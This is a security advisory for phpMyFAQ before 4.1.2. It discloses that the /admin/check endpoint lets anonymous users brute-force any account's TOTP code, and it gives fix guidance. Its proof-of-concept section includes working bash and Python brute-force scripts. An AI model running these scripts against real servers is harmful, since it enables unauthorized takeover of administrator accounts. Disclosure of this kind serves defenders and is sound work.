GHSA-9pq7-mfwh-xx2j phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id

• Packagist thorsten/phpmyfaq: < 4.1.2 → fixed in 4.1.2 • Packagist phpmyfaq/phpmyfaq: < 4.1.2 → fixed in 4.1.2

Summary The `/admin/check` endpoint in `AuthenticationController` implements `SkipsAuthenticationCheck`, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary `user-id` and `token` values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated `POST /admin/check` with a `user-id` body field returns HTTP 302 to `/admin/token?user-id=`, echoing the attacker-supplied user id without any binding to a prior password-phase authentication. Details File: `phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php`, lines 35-36 and 201-228. The controller class declaration: ```php final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck ``` The `SkipsAuthenticationCheck` interface (`phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php`) is a marker interface that tells the `ControllerContainerListener` to skip authentication enforcement. Every route in this controller is reachable without a session. The `check` action (line 201-228): ```php [Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); } $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS); $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT); $user = $this->currentUserService; $user->getUserById($userId); if (strlen((string) $token) === 6) { $tfa = $this->twoFactor; $result = $tfa->validateToken($token, $userId); if ($result) { $user->twoFactorSuccess(); $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin()); return new RedirectResponse(url: './'); } $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin()); } return new RedirectResponse('./token?user-id=' . $userId); } ``` Problems: 1. No session binding: The endpoint accepts `user-id` from the POST body. It does not verify that the caller previously authenticated with a password for that user. 2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock. 3. Unauthenticated access: The `SkipsAuthenticationCheck` marker exempts the entire controller from auth enforcement. The normal login flow (`/admin/authenticate`) redirects to `/admin/token?user-id=X` after a valid password. But nothing prevents Bob from skipping the password step and hitting `/admin/check` directly. Proof of Concept ```bash Step 1: Identify target user ID (admin is typically user_id=1) TARGET_HOST="http://target.example" USER_ID=1 Step 2: Brute-force the 6-digit TOTP code TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window. At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves. for code in $(seq -w 000000 999999); do RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \ -X POST "${TARGET_HOST}/admin/check" \ -d "token=${code}&user-id=${USER_ID}") # A successful 2FA grants a session and redirects to ./ # A failure redirects to ./token?user-id=1 if echo "$RESPONSE" | grep -qv "token?user-id="; then echo "[+] Valid TOTP: ${code}" break fi done ``` ```python Faster parallel version import requests from concurrent.futures import ThreadPoolExecutor TARGET = "http://target.example/admin/check" USER_ID = 1 def try_code(code): r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER_ID}, allow_redirects=False) location = r.headers.get("Location", "") if "token?user-id=" not in location: return code return None with ThreadPoolExecutor(max_workers=50) as pool: for result in pool.map(try_code, range(1000000)): if result is not None: print(f"[+] Valid TOTP: {result:06d}") break ``` Impact Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, `twoFactorSuccess()` grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data. CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts) Recommended Fix 1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during `authenticate()` indicating the user passed password auth. The `check` action must verify this flag before accepting TOTP attempts. 2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff. 3. Narrow the SkipsAuthenticationCheck scope: Move the `/check` and `/token` routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth. Example session-binding fix in `check()`: ```php [Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT); // Require that the session proves password auth for this specific user if ($this->session->get('2fa_pending_user_id') !== $userId) { return new RedirectResponse(url: './login'); } // ... existing TOTP validation ... } ``` And in `authenticate()`, after successful password check: ```php $this->session->set('2fa_pending_user_id', $this->currentUser->getUserId()); ``` --- *Found by aisafe.io*